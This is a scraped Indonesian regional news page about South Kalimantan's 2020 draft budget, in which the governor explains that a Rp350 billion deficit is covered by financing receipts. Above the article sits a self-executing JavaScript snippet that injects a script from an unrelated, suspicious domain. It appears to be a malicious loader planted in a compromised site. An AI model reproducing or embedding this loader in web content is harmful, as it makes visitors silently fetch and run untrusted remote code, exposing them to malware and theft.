(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

2020, Pemprov Ambil Kebijakan Tak Anggarkan Pengeluaran Pembiayaan


BANJARMASIN, Rapat paripurna dengan agenda pembahasan Perda Kalsel tahuan 2020 tentan pelaksanaan pembangunan RPJMD tahun 2016-2021 (tahun kelima), Senin (23/9) digelar di ruang rapat kantor DPRD Kalsel. Gubernur Kalsel Sahbirin Noor turut hadir dalam paripurna tersebut.

Sahbirin menyampaikan, saat ini terdapat selisih kurang sebesar Rp350 miliar dalam anggaran belanja daerah Provinsi Kalsel tahun anggaran 2020.  Adalpun rancangan Perda Provinsi Kalsel tentang APBD 2020 disusun berdasarkan prinsip anggaran surplus/defisit dengan komposisi pendapatan sebesar Rp6.996.340.856.000 dan belanja sebesar Rp 7.346.340.856.000

Disampaikan oleh Sahbirin, arah penggunaan belanja dalam rancangan Perda ini didasarkan pada peraturan daerah nomor : 03 tahun 2019 tentang perubahan Rencana Pembangunan Jangka Menengah Daerah (P-RPJMD) Kalsel tahun 2016-2021. Dimana didalamnya, terdapat 13 prioritas pembangunan tahun 2016-2021 yang diarahkan pada prioritas daerah dengan merujuk pada tema pembangunan RKPD tahun 2020 yaitu, memacu daya saing manusia perekonomian yang didukung sumber daya manusia berkualitas.

”Adapun selisih kurang anggaran 2020 ini akan ditutup oleh pembiayaan netto dari pembiayaan daerah,” kata Sahbirin.

Ia menambahkan, pembiayaan daerah pada rancangan perda tentang anggaran pendapatan dan belanja daerah tahun anggaran 2020 terdiri atas penerimaan pembiayaan yang dianggarkan sebesar Rp350 miliar yang terdiri dari silpa tahun anggaran sebelumnya sebesar Rp200 miliar dan pencairan dana cadangan sebesar Rp 150 miliar.

“Pada tahun anggaran 2020 pemprov Kalsel mengambil kebijakan untuk tidak menganggarkan pengeluaran pembiayaan,” ujar Gubernur Kalsel ini dalam rapat.

Dengan demikian, maka jumlah penerimaan pembiayaan sebesar Rp350 miliar dikurang dengan jumlah pengeluaran pembiayaan sebesar RP 0,00, sehingga terdapat netto sebesar Rp350 miliar. Dimana sisa pembayaran netto inilah yang kemudian digunakan untuk memenuhi defisit selisih kurang atas pendapatan.

Ditemui usai rapat, Sahbirin mengatakan bahwa yang ia sampaikan dalam rapat merupakan sebuah rancangan yang sudah dibicarakan, ditelaah, dan dipelajari. Serta tentu ia berharap agar hal ini dapat sesuai yang dibutuhkan masyarakat. “Tentu akan dipelajari anggota dewan, nanti kolaborasi, tapi saya harap tetap mengedepankan program yang bermanfaat buat rakyat. Tentu diselingi pelayanan yang prima,” pungkasnya kepada awak media.(mario)

Reporter : Mario
Editor : Cell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.